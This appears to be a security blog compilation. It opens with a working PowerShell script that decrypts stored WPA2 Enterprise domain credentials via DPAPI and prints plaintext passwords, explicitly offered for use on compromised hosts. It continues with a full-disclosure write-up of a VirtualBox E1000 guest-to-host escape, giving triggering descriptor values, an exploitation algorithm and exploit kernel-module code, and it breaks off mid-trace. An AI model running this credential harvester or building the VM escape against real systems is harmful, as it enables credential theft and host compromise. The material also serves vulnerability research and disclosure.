    <span class="nv">$ProtectedFiles</span> +<span class="o">=</span> Get-ProtectedData
    <span class="k">if</span><span class="o">(</span><span class="nv">$ProtectedFiles</span>.Length -eq 0<span class="o">)</span>
    <span class="o">{</span>
        <span class="nb">Write-Output</span> <span class="s2">"Error: No DPAPI binary data was retrieved."</span>
        <span class="k">return</span>
    <span class="o">}</span>
    <span class="nb">Write-Verbose</span> <span class="s2">"Harvested </span><span class="k">$(</span><span class="nv">$ProtectedFiles</span>.Length<span class="k">)</span><span class="s2"> files."</span>

    <span class="c1"># https://github.com/ash47/EnterpriseWifiPasswordRecover</span>
    <span class="o">[</span><span class="kt">byte</span><span class="o">[]]</span><span class="nv">$PasswordPattern</span> <span class="o">=</span> @<span class="o">(</span>0x01, 0x00, 0x00, 0x00, 0xD0, 0x8C, 0x9D, 0xDF, 0x01<span class="o">)</span>
    <span class="o">[</span><span class="kt">byte</span><span class="o">[]]</span><span class="nv">$UsernamePattern</span> <span class="o">=</span> @<span class="o">(</span>0x04, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00<span class="o">)</span>

    <span class="nv">$ProtectedFiles</span> | <span class="k">ForEach</span>-Object <span class="o">{</span>
       
        <span class="c1"># calls DPAPI UnprotectData(byte[] encrypted, byte[] entropy, out string Description)</span>

        <span class="nv">$DecryptedData</span> <span class="o">=</span> <span class="o">[</span>DPAPI]::Decrypt<span class="o">([</span>IO.File]::ReadAllBytes<span class="o">(</span><span class="s2">"C:\windows\temp\</span><span class="nv">$_</span><span class="s2">"</span><span class="o">)</span>, <span class="o">[</span>Text.Encoding]::UTF8.GetBytes<span class="o">([</span><span class="kt">String</span><span class="o">]</span>::Empty<span class="o">)</span>, <span class="o">[</span>ref] <span class="nv">$NullReferenceString</span><span class="o">)</span>

        <span class="nv">$UsernameOffset</span> <span class="o">=</span> <span class="o">[</span>Pattern.Search]::Locate<span class="o">(</span><span class="nv">$DecryptedData</span>, <span class="nv">$UsernamePattern</span><span class="o">)[</span>0]
        <span class="nv">$PasswordOffset</span> <span class="o">=</span> <span class="o">[</span>Pattern.Search]::Locate<span class="o">(</span><span class="nv">$DecryptedData</span>, <span class="nv">$PasswordPattern</span><span class="o">)[</span>0]

        <span class="c1"># Here we will have Username and Domain</span>
        <span class="nv">$DomainAndUsername</span> <span class="o">=</span> <span class="o">[</span>Text.Encoding]::UTF8.GetString<span class="o">(</span><span class="nv">$DecryptedData</span><span class="o">[(</span><span class="nv">$UsernameOffset</span>+8<span class="o">)</span>..<span class="nv">$PasswordOffset</span><span class="o">])</span> | <span class="nb">Out-String</span>
        <span class="nv">$EncryptedPassword</span> <span class="o">=</span> <span class="nv">$DecryptedData</span><span class="o">[</span><span class="nv">$PasswordOffset</span>..<span class="nv">$DecryptedData</span>.Length]
       
        <span class="c1"># Removes last null bytes. (No Padding will be superior to 16 bytes)</span>
        <span class="k">foreach</span><span class="o">(</span><span class="nv">$i</span> <span class="k">in </span>0..16<span class="o">)</span>
        <span class="o">{</span>
            <span class="nv">$EncryptedPassword</span> <span class="o">=</span> Remove-LastNullByte -Array <span class="nv">$EncryptedPassword</span>
        <span class="o">}</span>

        <span class="nv">$DumpFile</span> <span class="o">=</span> <span class="s2">"C:\windows\temp\password.bin"</span>
        <span class="o">[</span>IO.File]::WriteAllBytes<span class="o">(</span><span class="nv">$DumpFile</span>, <span class="nv">$EncryptedPassword</span><span class="o">)</span>

        <span class="c1"># SYSTEM can't decrypt password files on it's own. Now we RevertToSelf() so we are able to decrypt it.</span>
        <span class="nv">$ReversionStatus</span> <span class="o">=</span> <span class="o">[</span>Revert]::RevertBack<span class="o">()</span>;
        <span class="k">if</span><span class="o">(</span><span class="nv">$ReversionStatus</span> -eq <span class="nv">$false</span><span class="o">)</span>
        <span class="o">{</span>
            <span class="nb">Write-Output</span> <span class="s2">"Could not revert back to user."</span>
            <span class="k">return</span>
        <span class="o">}</span>

        <span class="c1"># Last stage, if the line below succeeds, we have a plaintext password.</span>
        <span class="nv">$DecryptedPassword</span> <span class="o">=</span> <span class="o">[</span>Text.Encoding]::UTF8.GetString<span class="o">([</span>DPAPI]::Decrypt<span class="o">([</span>IO.File]::ReadAllBytes<span class="o">(</span><span class="nv">$DumpFile</span><span class="o">)</span>, <span class="o">[</span>Text.Encoding]::UTF8.GetBytes<span class="o">([</span><span class="kt">String</span><span class="o">]</span>::Empty<span class="o">)</span>, <span class="o">[</span>ref] <span class="nv">$NullReferenceString</span><span class="o">))</span>
        <span class="nb">Write-Output</span> <span class="s2">"Username: </span><span class="nv">$DomainAndUsername</span><span class="s2">"</span>
        <span class="nb">Write-Output</span> <span class="s2">"Password: </span><span class="nv">$DecryptedPassword</span><span class="s2">"</span>
       
    <span class="o">}</span>

<span class="o">}</span>


<span class="k">function </span>Remove-LastNullByte
<span class="o">{</span>
    <span class="k">Param</span><span class="o">(</span>
        <span class="o">[</span>Parameter<span class="o">(</span>Mandatory <span class="o">=</span> <span class="nv">$true</span>, Position <span class="o">=</span> 0<span class="o">)]</span>
        <span class="o">[</span><span class="kt">byte</span><span class="o">[]]</span><span class="nv">$Array</span>,

        <span class="o">[</span>Parameter<span class="o">(</span>Mandatory <span class="o">=</span> <span class="nv">$false</span>, Position <span class="o">=</span> 1<span class="o">)]</span>
        <span class="o">[</span><span class="kt">byte</span><span class="o">]</span><span class="nv">$Banned</span>
    <span class="o">)</span>

    <span class="nv">$ArrayLength</span> <span class="o">=</span> <span class="nv">$Array</span>.Length - 1
    <span class="k">if</span><span class="o">(</span><span class="nv">$Array</span><span class="o">[</span><span class="nv">$ArrayLength</span><span class="o">]</span> -eq <span class="nv">$Banned</span><span class="o">)</span>
    <span class="o">{</span>
        <span class="k">return</span> <span class="nv">$Array</span><span class="o">[</span>0..<span class="o">(</span><span class="nv">$ArrayLength</span>-1<span class="o">)]</span>
    <span class="o">}</span>
    <span class="k">return</span> <span class="nv">$Array</span>
<span class="o">}</span>

<span class="cm">&lt;#
.SYNOPSIS
This file uses the registry hive HKCU to retrieve binary data
that is protected by DPAPI functions to hide WPA Enterprise
passwords.

#&gt;</span>
<span class="k">function </span>Get-ProtectedData
<span class="o">{</span>
    <span class="o">[</span><span class="na">CmdletBinding</span><span class="o">()]</span>
    <span class="c1"># File Array</span>
    <span class="nv">$Files</span> <span class="o">=</span> @<span class="o">()</span>;

    <span class="c1"># Retrieves data to be used by DPAPI decrypt function</span>
    <span class="nb">Get-ChildItem </span>HKCU:\Software\Microsoft\Wlansvc\UserData\Profiles\ | <span class="k">ForEach</span>-Object <span class="o">{</span>
        <span class="nv">$currentFile</span> <span class="o">=</span> Get-TemporaryFileName
        <span class="nv">$Files</span> +<span class="o">=</span> <span class="nv">$currentFile</span>
        <span class="nb">Write-Verbose</span> <span class="s2">"Created file </span><span class="nv">$currentFile</span><span class="s2">"</span>
        <span class="o">[</span>IO.File]::WriteAllBytes<span class="o">(</span><span class="s2">"C:\windows\temp\</span><span class="nv">$currentFile</span><span class="s2">"</span>, <span class="o">(</span><span class="nb">Get-ItemProperty</span> <span class="nv">$_</span>.PSPath -Name MSMUserData | <span class="nb">Select-Object </span>MSMUserData<span class="o">)</span>.MSMUserData<span class="o">)</span>
    <span class="o">}</span>

    <span class="k">return</span> <span class="nv">$Files</span>
<span class="o">}</span>

<span class="k">function </span>Get-TemporaryFileName
<span class="o">{</span>
    <span class="k">return</span> <span class="o">([</span>IO.Path]::GetRandomFileName<span class="o">())</span>.Split<span class="o">(</span><span class="s2">"."</span><span class="o">)[</span>0] + <span class="s2">".tmp"</span>
<span class="o">}</span>

Execute the above script to do all the work necessary to retrieve all WPA2 Enterprise domain credentials stored in this user session:

Screenshot

This is a very simple technique that might be useful for you on a compromised host where mimikatz only revealed to you a NTLM hash, but not a real plaintext password.

 

Virtualbox e1000 0day

Why

I like VirtualBox and it has nothing to do with why I publish a 0day vulnerability. The reason is my disagreement with contemporary state of infosec, especially of security research and bug bounty:

  1. Wait half a year until a vulnerability is patched is considered fine.
  2. In the bug bounty field these are considered fine:
    1. Wait more than month until a submitted vulnerability is verified and a decision to buy or not to buy is made.
    2. Change the decision on the fly. Today you figured out the bug bounty program will buy bugs in a software, week later you come with bugs and exploits and receive «not interested».
    3. Have not a precise list of software a bug bounty is interested to buy bugs in. Handy for bug bounties, awkward for researchers.
    4. Have not precise lower and upper bounds of vulnerability prices. There are many things influencing a price but researchers need to know what is worth to work on and what is not.
  3. Delusion of grandeur and marketing bullshit: naming vulnerabilities and creating websites for them; making a thousand conferences in a year; exaggerating importance of own job as a security researcher; considering yourself «a world saviour». Come down, Your Highness.

I’m exhausted of the first two, therefore my move is full disclosure. Infosec, please move forward.

General Information

Vulnerable software: VirtualBox 5.2.20 and prior versions.

Host OS: any, the bug is in a shared code base.

Guest OS: any.

VM configuration: default (the only requirement is that a network card is Intel PRO/1000 MT Desktop (82540EM) and a mode is NAT).

How to protect yourself

Until the patched VirtualBox build is out you can change the network card of your virtual machines to PCnet (either of two) or to Paravirtualized Network. If you can’t, change the mode from NAT to another one. The former way is more secure.

Introduction

A default VirtualBox virtual network device is Intel PRO/1000 MT Desktop (82540EM) and the default network mode is NAT. We will refer to it E1000.

The E1000 has a vulnerability allowing an attacker with root/administrator privileges in a guest to escape to a host ring3. Then the attacker can use existing techniques to escalate privileges to ring 0 via /dev/vboxdrv.

Vulnerability Details

E1000 101

To send network packets a guest does what a common PC does: it configures a network card and supplies network packets to it. Packets are of data link layer frames and of other, more high level headers. Packets supplied to the adaptor are wrapped in Tx descriptors (Tx means transmit). The Tx descriptor is data structure described in the 82540EM datasheet (317453006EN.PDF, Revision 4.0). It stores such metainformation as packet size, VLAN tag, TCP/IP segmentation enabled flags and so on.

The 82540EM datasheet provides for three Tx descriptor types: legacy, context, data. Legacy is deprecated I believe. The other two are used together. The only thing we care of is that context descriptors set the maximum packet size and switch TCP/IP segmentation, and that data descriptors hold physical addresses of network packets and their sizes. The data descriptor’s packet size must be lesser than the context descriptor’s maximum packet size. Usually context descriptors are supplied to the network card before data descriptors.

To supply Tx descriptors to the network card a guess writes them to Tx Ring. This is a ring buffer residing in physical memory at a predefined address. When all descriptors are written down to Tx Ring the guest updates E1000 MMIO TDT register (Transmit Descriptor Tail) to tell the host there are new descriptors to handle.

Input

Consider the following array of Tx descriptors:


[context_1, data_2, data_3, context_4, data_5]

Let’s assign their structure fields as follows (field names are hypothetical to be human readable but directly map to the 82540EM specification):


context_1.header_length = 0
context_1.maximum_segment_size = 0x3010
context_1.tcp_segmentation_enabled = true

data_2.data_length = 0x10
data_2.end_of_packet = false
data_2.tcp_segmentation_enabled = true

data_3.data_length = 0
data_3.end_of_packet = true
data_3.tcp_segmentation_enabled = true

context_4.header_length = 0
context_4.maximum_segment_size = 0xF
context_4.tcp_segmentation_enabled = true

data_5.data_length = 0x4188
data_5.end_of_packet = true
data_5.tcp_segmentation_enabled = true

We will learn why they should be like that in our step-by-step analysis.

Root Cause Analysis

[context_1, data_2, data_3] Processing

Let’s assume the descriptors above are written to the Tx Ring in the specified order and TDT register is updated by the guest. Now the host will execute e1kXmitPending function in src/VBox/Devices/Network/DevE1000.cpp file (most of comments are and will be stripped for the sake of readability):

static int e1kXmitPending(PE1KSTATE pThis, bool fOnWorkerThread)
{
...
        while (!pThis->fLocked && e1kTxDLazyLoad(pThis))
        {
            while (e1kLocateTxPacket(pThis))
            {
                fIncomplete = false;
                rc = e1kXmitAllocBuf(pThis, pThis->fGSO);
                if (RT_FAILURE(rc))
                    goto out;
                rc = e1kXmitPacket(pThis, fOnWorkerThread);
                if (RT_FAILURE(rc))
                    goto out;
            }

e1kTxDLazyLoad will read all the 5 Tx descriptors from the Tx Ring. Then e1kLocateTxPacket is called for the first time. This function iterates through all the descriptors to set up an initial state but does not actually handle them. In our case the first call to e1kLocateTxPacket will handle context_1, data_2, and data_3 descriptors. The two remaining descriptors, context_4 and data_5, will be handled at the second iteration of the while loop (we will cover the second iteration in the next section). This two-part array division is crucial to trigger the vulnerability so let’s figure out why.

e1kLocateTxPacket looks like this:

static bool e1kLocateTxPacket(PE1KSTATE pThis)
{
...
    for (int i = pThis->iTxDCurrent; i < pThis->nTxDFetched; ++i)
    {
        E1KTXDESC *pDesc = &pThis->aTxDescriptors[i];
        switch (e1kGetDescType(pDesc))
        {
            case E1K_DTYP_CONTEXT:
                e1kUpdateTxContext(pThis, pDesc);
                continue;
            case E1K_DTYP_LEGACY:
                ...
                break;
            case E1K_DTYP_DATA:
                if (!pDesc->data.u64BufAddr || !pDesc->data.cmd.u20DTALEN)
                    break;
                ...
                break;
            default:
                AssertMsgFailed(("Impossible descriptor type!"));
        }

The first descriptor (context_1) is of E1K_DTYP_CONTEXT so e1kUpdateTxContext function is called. This function updates a TCP Segmentation Context if TCP Segmentation is enabled for the descriptor. It is true for context_1 so the TCP Segmentation Context will be updated. (What the TCP Segmentation Context Update actually is, is not important, and we will use this just to refer the code below).

The second descriptor (data_2) is of E1K_DTYP_DATA so several actions unnecessary for the discussion will be performed.

The third descriptor (data_3) is also of E1K_DTYP_DATA but since data_3.data_length == 0 no action is performed.

At the moment the three descriptors are initially processed and the two remain. Now the thing: after the switch statement there is a check wheter a descriptor’s end_of_packet field was set. It is true for data_3 descriptor (data_3.end_of_packet == true). The code does some actions and returns from the function:

        if (pDesc->legacy.cmd.fEOP)
        {
            ...
            return true;
        }

If data_3.end_of_packet would been false then the remaining context_4 and data_5 descriptors would be processed, and the vulnerability would been bypassed. Below you’ll see why that return from the function leads to the bug.

At the end of e1kLocateTxPacket function we have the following descriptors ready to unwrap network packets from and to send to a network: context_1, data_2, data_3. Then the inner loop of e1kXmitPending calls e1kXmitPacket. This functions iterates through all the descriptors (5 in our case) to actually process them:

static int e1kXmitPacket(PE1KSTATE pThis, bool fOnWorkerThread)
{
...
    while (pThis->iTxDCurrent < pThis->nTxDFetched)
    {
        E1KTXDESC *pDesc = &pThis->aTxDescriptors[pThis->iTxDCurrent];
        ...
        rc = e1kXmitDesc(pThis, pDesc, e1kDescAddr(TDBAH, TDBAL, TDH), fOnWorkerThread);
        ...
        if (e1kGetDescType(pDesc) != E1K_DTYP_CONTEXT && pDesc->legacy.cmd.fEOP)
            break;
    }

For each descriptor e1kXmitDesc function is called:

static int e1kXmitDesc(PE1KSTATE pThis, E1KTXDESC *pDesc, RTGCPHYS addr,
                       bool fOnWorkerThread)
{
...
    switch (e1kGetDescType(pDesc))
    {
        case E1K_DTYP_CONTEXT:
            ...
            break;
        case E1K_DTYP_DATA:
        {
            ...
            if (pDesc->data.cmd.u20DTALEN == 0 || pDesc->data.u64BufAddr == 0)
            {
                E1kLog2(("% Empty data descriptor, skipped.\n", pThis->szPrf));
            }
            else
            {
                if (e1kXmitIsGsoBuf(pThis->CTX_SUFF(pTxSg)))
                {
                    ...
                }
                else if (!pDesc->data.cmd.fTSE)
                {
                    ...
                }
                else
                {
                    STAM_COUNTER_INC(&pThis->StatTxPathFallback);
                    rc = e1kFallbackAddToFrame(pThis, pDesc, fOnWorkerThread);
                }
            }
            ...

The first descriptor passed to e1kXmitDesc is context_1. The function does nothing with context descriptors.

The second descriptor passed to e1kXmitDesc is data_2. Since all of our data descriptors have tcp_segmentation_enable == true (pDesc->data.cmd.fTSE above) we call e1kFallbackAddToFrame where there will be an integer underflow while data_5 is processed.

static int e1kFallbackAddToFrame(PE1KSTATE pThis, E1KTXDESC *pDesc, bool fOnWorkerThread)
{
    ...
    uint16_t u16MaxPktLen = pThis->contextTSE.dw3.u8HDRLEN + pThis->contextTSE.dw3.u16MSS;

    /*
     * Carve out segments.
     */
    int rc = VINF_SUCCESS;
    do
    {
        /* Calculate how many bytes we have left in this TCP segment */
        uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen;
        if (cb > pDesc->data.cmd.u20DTALEN)
        {
            /* This descriptor fits completely into current segment */
            cb = pDesc->data.cmd.u20DTALEN;
            rc = e1kFallbackAddSegment(pThis, pDesc->data.u64BufAddr, cb, pDesc->data.cmd.fEOP /*fSend*/, fOnWorkerThread);
        }
        else
        {
            ...
        }

        pDesc->data.u64BufAddr    += cb;
        pDesc->data.cmd.u20DTALEN -= cb;
    } while (pDesc->data.cmd.u20DTALEN > 0 && RT_SUCCESS(rc));

    if (pDesc->data.cmd.fEOP)
    {
        ...
        pThis->u16TxPktLen = 0;
        ...
    }

    return VINF_SUCCESS; /// @todo consider rc;
}

The most important variables here are u16MaxPktLen, pThis->u16TxPktLen, and pDesc->data.cmd.u20DTALEN.

Let’s draw a table where values of these variables are specified before and after execution of e1kFallbackAddToFrame function for the two data descriptors.

Tx Descriptor Before/After u16MaxPktLen pThis->u16TxPktLen pDesc->data.cmd.u20DTALEN
data_2 Before 0x3010 0 0x10
After 0x3010 0x10 0
data_3 Before 0x3010 0x10 0
After 0x3010 0x10 0

You just need to note that when data_3 is processed pThis->u16TxPktLen equals to 0x10.

Next is the most important part. Please look again at the end of the snippet of e1kXmitPacket:

        if (e1kGetDescType(pDesc) != E1K_DTYP_CONTEXT && pDesc->legacy.cmd.fEOP)
            break;

Since data_3 type != E1K_DTYP_CONTEXT and data_3.end_of_packet == true, we break from the loop despite the fact that there are context_4 and data_5 to be processed. Why is it important? The key to understand the vulnerability is to understand that all context descriptors are processed before data descriptors. Context descriptors are processed during the TCP Segmentation Context Update in e1kLocateTxPacket. Data descriptors are processed later in the loop inside e1kXmitPacket function. The developer intention was to forbid changing u16MaxPktLen after some data was processed to prevent integer underflows in the code:

uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen;

But we are able to bypass this protection: recall that in e1kLocateTxPacket we forced the function to return because of data_3.end_of_packet == true. And because of that we have two descriptors (context_4 and data_5) left to be processed despite the fact that pThis->u16TxPktLen is 0x10, not 0. So there is a possibility to change u16MaxPktLen using context_4.maximum_segment_size to make the integer underflow.

[context_4, data_5] Processing

Now when the first three descriptors were processed we again arrive to the inner loop of e1kXmitPending:

            while (e1kLocateTxPacket(pThis))
            {
                fIncomplete = false;
                rc = e1kXmitAllocBuf(pThis, pThis->fGSO);
                if (RT_FAILURE(rc))
                    goto out;
                rc = e1kXmitPacket(pThis, fOnWorkerThread);
                if (RT_FAILURE(rc))
                    goto out;
            }

Here we call e1kLocateTxPacket do the initial processing of context_4 and data_5 descriptors. It has been said that we can set context_4.maximum_segment_size to a size lesser than the size of data already read i.e. lesser than 0x10. Recall our input Tx descriptors:


context_4.header_length = 0
context_4.maximum_segment_size = 0xF
context_4.tcp_segmentation_enabled = true

data_5.data_length = 0x4188
data_5.end_of_packet = true
data_5.tcp_segmentation_enabled = true

As a result of the call to e1kLocateTxPacket we have the maximum segment size equals to 0xF, whereas the size of data already read is 0x10.

Finally, when processing data_5 we again arrive to e1kFallbackAddToFrame and have the following variable values:

Tx Descriptor Before/After u16MaxPktLen pThis->u16TxPktLen pDesc->data.cmd.u20DTALEN
data_5 Before 0xF 0x10 0x4188
After

And therefore we have an integer underflow:

uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen;
=>
uint32_t cb = 0xF - 0x10 = 0xFFFFFFFF;

This makes the following check to be true since 0xFFFFFFFF > 0x4188:

        if (cb > pDesc->data.cmd.u20DTALEN)
        {
            cb = pDesc->data.cmd.u20DTALEN;
            rc = e1kFallbackAddSegment(pThis, pDesc->data.u64BufAddr, cb, pDesc->data.cmd.fEOP /*fSend*/, fOnWorkerThread);
        }

e1kFallbackAddSegment function will be called with size 0x4188. Without the vulnerability it’s impossible to call e1kFallbackAddSegment with a size greater than 0x4000 because, during the TCP Segmentation Context Update in e1kUpdateTxContext, there is a check that the maximum segment size is less or equal to 0x4000:

DECLINLINE(void) e1kUpdateTxContext(PE1KSTATE pThis, E1KTXDESC *pDesc)
{
...
        uint32_t cbMaxSegmentSize = pThis->contextTSE.dw3.u16MSS + pThis->contextTSE.dw3.u8HDRLEN + 4; /*VTAG*/
        if (RT_UNLIKELY(cbMaxSegmentSize > E1K_MAX_TX_PKT_SIZE))
        {
            pThis->contextTSE.dw3.u16MSS = E1K_MAX_TX_PKT_SIZE - pThis->contextTSE.dw3.u8HDRLEN - 4; /*VTAG*/
            ...
        }

Buffer Overflow

We have called e1kFallbackAddSegment with size 0x4188. How this can be abused? There are at least two possibilities I found. Firstly, data will be read from the guest into a heap buffer:

static int e1kFallbackAddSegment(PE1KSTATE pThis, RTGCPHYS PhysAddr, uint16_t u16Len, bool fSend, bool fOnWorkerThread)
{
    ...
    PDMDevHlpPhysRead(pThis->CTX_SUFF(pDevIns), PhysAddr,
                      pThis->aTxPacketFallback + pThis->u16TxPktLen, u16Len);

Here pThis->aTxPacketFallback is the buffer of size 0x3FA0 and u16Len is 0x4188 — an obvious overflow that can lead, for example, to a function pointers overwrite.

Secondly, if we dig deeper we found that e1kFallbackAddSegment calls e1kTransmitFrame that can, with a certain configuration of E1000 registers, call e1kHandleRxPacket function. This function allocates a stack buffer of size 0x4000 and then copies data of a specified length (0x4188 in our case) to the buffer without any check:

static int e1kHandleRxPacket(PE1KSTATE pThis, const void *pvBuf, size_t cb, E1KRXDST status)
{
#if defined(IN_RING3)
    uint8_t   rxPacket[E1K_MAX_RX_PKT_SIZE];
    ...
    if (status.fVP)
    {
        ...
    }
    else
        memcpy(rxPacket, pvBuf, cb);

As you see, we turned an integer underflow to a classical stack buffer overflow. The two overflows above — heap and stack ones — are used in the exploit.

Exploit

The exploit is Linux kernel module (LKM) to load in a guest OS. The Windows case would require a driver differing from the LKM just by an initialization wrapper and kernel API calls.

Elevated privileges are required to load a driver in both OSs. It’s common and isn’t considered an insurmountable obstacle. Look at Pwn2Own contest where researcher use exploit chains: a browser opened a malicious website in the guest OS is exploited, a browser sandbox escape is made to gain full ring 3 access, an operating system vulnerability is exploited to pave a way to ring 0 from where there are anything you need to attack a hypervisor from the guest OS. The most powerful hypervisor vulnerabilities are for sure those that can be exploited from guest ring 3. There in VirtualBox is also such code that is reachable without guest root privileges, and it’s mostly not audited yet.

The exploit is 100% reliable. It means it either works always or never because of mismatched binaries or other, more subtle reasons I didn’t account. It works at least on Ubuntu 16.04 and 18.04 x86_64 guests with default configuration.

Exploitation Algorithm

  1. An attacker unloads e1000.ko loaded by default in Linux guests and loads the exploit’s LKM.
  2. The LKM initializes E1000 according to the datasheet. Only the transmit half is initialized since there is no need for the receive half.
  3. Step 1: information leak.
    1. The LKM disables E1000 loopback mode to make stack buffer overflow code unreachable.
    2. The LKM uses the integer underflow vulnerability to make the heap buffer overflow.
    3. The heap buffer overflow allows for use E1000 EEPROM to write two any bytes relative to a heap buffer in 128 KB range. Hence the attacker gains a write primitive.
    4. The LKM uses the write primitive 8 times to write bytes to ACPI (Advanced Configuration and Power Interface) data structure on heap. Bytes are written to an index variable of a heap buffer from which a single byte will be read. Since the buffer size is lesser than maximum index number (255) the attacker can read past the buffer, hence he/she gains a read primitive.
    5. The LKM uses the read primitive 8 times to access ACPI and obtain 8 bytes from the heap. Those bytes are pointer of VBoxDD.so shared library.
    6. The LKM subtracts RVA from the pointer to obtain VBoxDD.so image base.
  4. Step 2: stack buffer overflow.
    1. The LKM enabled E1000 loopback mode to make stack buffer overflow code reachable.
    2. The LKM uses the integer underflow vulnerability to make the heap buffer overflow and the stack buffer overflow. Saved return address (RIP/EIP) is overwritten. The attacker gains control.
    3. ROP chain is executed to execute a shellcode loader.
  5. Step 3: shellcode.
    1. The shellcode loader copies a shellcode from the stack next to itself. The shellcode is executed.
    2. The shellcode does fork and execve syscalls to spawn an arbitrary process on the host side.
    3. The parent process does process continuation.
  6. The attacker unloads the LKM and loads e1000.ko back to allow the guest to use network.

Initialization

The LKM maps physical memory regarding to E1000 MMIO. Physical address and size are predefined by the hypervisor.

void* map_mmio(void) {
    off_t pa = 0xF0000000;
    size_t len = 0x20000;

    void* va = ioremap(pa, len);
    if (!va) {
        printk(KERN_INFO PFX"ioremap failed to map MMIO\n");
        return NULL;
    }

    return va;
}

Then E1000 general purpose registers are configured, Tx Ring memory is allocated, transmit registers are configured.

void e1000_init(void* mmio) {
    // Configure general purpose registers

    configure_CTRL(mmio);

    // Configure TX registers

    g_tx_ring = kmalloc(MAX_TX_RING_SIZE, GFP_KERNEL);
    if (!g_tx_ring) {
        printk(KERN_INFO PFX"Failed to allocate TX Ring\n");
        return;
    }

    configure_TDBAL(mmio);
    configure_TDBAH(mmio);
    configure_TDLEN(mmio);
    configure_TCTL(mmio);
}

ASLR Bypass

Write primitive

From the beginning of exploit development I decided not to use primitives found in services disabled by default. This means in the first place the Chromium service (not a browser) that provides for 3D acceleration where more than 40 vulnerabilities are found by researchers in the last year.

The problem was to find an information leak in default VirtualBox subsystems. The obvious thought was that if the integer underflow allows to overflow the heap buffer then we control anything past the buffer. We’ll see that not a single additional vulnerability was required: the integer underflow appeared to be quite powerful to derive read, write, and information leak primitives from it, not saying of the stack buffer overflow.

Let’s examine what exactly is overflowed on the heap.

/**
 * Device state structure.
 */
struct E1kState_st
{
...
    uint8_t     aTxPacketFallback[E1K_MAX_TX_PKT_SIZE];
...
    E1kEEPROM   eeprom;
...
}

Here aTxPacketFallback is a buffer of size 0x3FA0 which will be overflowed with bytes copied from a data descriptor. Searching for interesting fields after the buffer I came to E1kEEPROM structure which contains another structure with the following fields (src/VBox/Devices/Network/DevE1000.cpp):

/**
 * 93C46-compatible EEPROM device emulation.
 */
struct EEPROM93C46
{
...
    bool m_fWriteEnabled;
    uint8_t Alignment1;
    uint16_t m_u16Word;
    uint16_t m_u16Mask;
    uint16_t m_u16Addr;
    uint32_t m_u32InternalWires;
...
}

How can we abuse them? E1000 implements EEPROM, secondary adaptor memory. The guest OS can access it via E1000 MMIO registers. EEPROM is implemented as a finite automaton with several states and does four actions. We are interested only in «write to memory». This is how it looks (src/VBox/Devices/Network/DevEEPROM.cpp):

EEPROM93C46::State EEPROM93C46::opWrite()
{
    storeWord(m_u16Addr, m_u16Word);
    return WAITING_CS_FALL;
}

void EEPROM93C46::storeWord(uint32_t u32Addr, uint16_t u16Value)
{
    if (m_fWriteEnabled) {
        E1kLog(("EEPROM: Stored word %04x at %08x\n", u16Value, u32Addr));
        m_au16Data[u32Addr] = u16Value;
    }
    m_u16Mask = DATA_MSB;
}

Here m_u16Addr, m_u16Word, and m_fWriteEnabled are fields of EEPROM93C46 structure we control. We can malform them in a way that

m_au16Data[u32Addr] = u16Value;

statement will write two bytes at arbitrary 16-bit offset from m_au16Data that also residing in the structure. We have found a write primitive.

Read primitive

The next problem was to find data structures on the heap to write arbitrary data into, pursuing the main goal to leak a shared library pointer to get its image base. Hopefully, it was need not to do an unstable heap spray because virtual devices’ main data structures appeared to be allocated from an internal hypervisor heap in the way that the distance between them is always constant, despite that their virtual addresses, of course, are randomized by ASLR.

When a virtual machine is launched the PDM (Pluggable Device and Driver Manager) subsystem allocates PDMDEVINS objects in the hypervisor heap.

int pdmR3DevInit(PVM pVM)
{
...
        PPDMDEVINS pDevIns;
        if (paDevs[i].pDev->pReg->fFlags & (PDM_DEVREG_FLAGS_RC | PDM_DEVREG_FLAGS_R0))
            rc = MMR3HyperAllocOnceNoRel(pVM, cb, 0, MM_TAG_PDM_DEVICE, (void **)&pDevIns);
        else
            rc = MMR3HeapAllocZEx(pVM, MM_TAG_PDM_DEVICE, cb, (void **)&pDevIns);
...

I traced that code under GDB using a script and got these results:


[trace-device-constructors] Constructing a device #0x0:
[trace-device-constructors] Name: "pcarch", '\000' &lt;repeats 25 times&gt;
[trace-device-constructors] Description: 0x7fc44d6f125a "PC Architecture Device"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d57517b &lt;pcarchConstruct(PPDMDEVINS, int, PCFGMNODE)&gt;
[trace-device-constructors] Instance: 0x7fc45486c1b0
[trace-device-constructors] Data size: 0x8

[trace-device-constructors] Constructing a device #0x1:
[trace-device-constructors] Name: "pcbios", '\000' &lt;repeats 25 times&gt;
[trace-device-constructors] Description: 0x7fc44d6ef37b "PC BIOS Device"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d56bd3b &lt;pcbiosConstruct(PPDMDEVINS, int, PCFGMNODE)&gt;
[trace-device-constructors] Instance: 0x7fc45486c720
[trace-device-constructors] Data size: 0x11e8

...

[trace-device-constructors] Constructing a device #0xe:
[trace-device-constructors] Name: "e1000", '\000' &lt;repeats 26 times&gt;
[trace-device-constructors] Description: 0x7fc44d70c6d0 "Intel PRO/1000 MT Desktop Ethernet.\n"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d622969 &lt;e1kR3Construct(PPDMDEVINS, int, PCFGMNODE)&gt;
[trace-device-constructors] Instance: 0x7fc470083400
[trace-device-constructors] Data size: 0x53a0

[trace-device-constructors] Constructing a device #0xf:
[trace-device-constructors] Name: "ichac97", '\000' &lt;repeats 24 times&gt;
[trace-device-constructors] Description: 0x7fc44d716ac0 "ICH AC'97 Audio Controller"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d66a90f &lt;ichac97R3Construct(PPDMDEVINS, int, PCFGMNODE)&gt;
[trace-device-constructors] Instance: 0x7fc470088b00
[trace-device-constructors] Data size: 0x1848

[trace-device-constructors] Constructing a device #0x10:
[trace-device-constructors] Name: "usb-ohci", '\000' &lt;repeats 23 times&gt;
[trace-device-constructors] Description: 0x7fc44d707025 "OHCI USB controller.\n"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d5ea841 &lt;ohciR3Construct(PPDMDEVINS, int, PCFGMNODE)&gt;
[trace-device-constructors] Instance: 0x7fc47008a4e0
[trace-device-constructors] Data size: 0x1728

[trace-device-constructors] Constructing a device #0x11:
